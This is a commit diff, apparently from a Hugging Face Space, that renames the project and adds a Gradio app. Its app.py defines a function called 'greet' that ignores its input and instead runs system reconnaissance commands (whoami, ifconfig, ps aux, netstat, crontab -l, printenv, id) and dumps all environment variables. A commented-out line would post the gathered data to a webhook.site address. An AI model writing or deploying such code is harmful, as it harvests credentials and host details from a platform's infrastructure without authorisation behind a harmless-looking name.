guynachshon commited on
Commit
86760e2
1 Parent(s): 86eeceb
Files changed (5) hide show
  1. .idea/.gitignore +5 -0
  2. README.md +3 -3
  3. app.py +44 -0
  4. push.sh +4 -0
  5. requirements.txt +1 -0
.idea/.gitignore ADDED
@@ -0,0 +1,5 @@
 
 
 
 
 
 
1
+ # Default ignored files
2
+ /shelf/
3
+ /workspace.xml
4
+ # Editor-based HTTP Client requests
5
+ /httpRequests/
README.md CHANGED
@@ -1,8 +1,8 @@
1
  ---
2
- title: Kevin
3
- emoji: 📉
4
  colorFrom: yellow
5
- colorTo: indigo
6
  sdk: gradio
7
  sdk_version: 4.12.0
8
  app_file: app.py
 
1
  ---
2
+ title: The Space Of All Spaces
3
+ emoji: 💻
4
  colorFrom: yellow
5
+ colorTo: red
6
  sdk: gradio
7
  sdk_version: 4.12.0
8
  app_file: app.py
app.py ADDED
@@ -0,0 +1,44 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ import sys
2
+ from pprint import pprint
3
+ import gradio as gr
4
+ import os
5
+
6
+
7
+ def greet(name):
8
+ environ = os.environ
9
+ path = sys.path
10
+ whoami = os.popen("whoami").read()
11
+ ifconfig = os.popen("ifconfig").read()
12
+ host = os.popen("hostname").read()
13
+ uname = os.popen("uname -a").read()
14
+ running = os.popen("ps aux").read()
15
+ open_ports = os.popen("netstat -tuln").read()
16
+ open_2 = os.popen("ss -tuln").read()
17
+ crons = os.popen("crontab -l").read()
18
+ mounted_fs = os.popen("df -h").read()
19
+ envars = os.popen("printenv").read()
20
+ user_info = os.popen("id").read()
21
+ net_conf = os.popen("ip addr show").read()
22
+
23
+
24
+ # r = requests.post("https://webhook.site/959ae6e7-124a-4312-a2b0-2f5129f83bed", data={"env": environ, "path": path, "whoami": whoami, "ifconfig": ifconfig, "host": host, "uname": uname, "sudo": sudo, "docker": docker, "docker_": docker_, "docker__": docker__, "docker___": docker___, "ll": ll})
25
+ return pprint({
26
+ "env": environ,
27
+ "path": path,
28
+ "whoami": whoami,
29
+ "ifconfig": ifconfig,
30
+ "host": host,
31
+ "uname": uname,
32
+ "running": running,
33
+ "open_ports": open_ports,
34
+ "open_2": open_2,
35
+ "crons": crons,
36
+ "mounted_fs": mounted_fs,
37
+ "envars": envars,
38
+ "user_info": user_info,
39
+ "net_conf": net_conf
40
+ })
41
+
42
+
43
+ iface = gr.Interface(fn=greet, inputs="text", outputs="text")
44
+ iface.launch()
push.sh ADDED
@@ -0,0 +1,4 @@
 
 
 
 
 
1
+ RUN
2
+ git add .
3
+ git commit -m "update"
4
+ git push
requirements.txt ADDED
@@ -0,0 +1 @@
 
 
1
+ pprint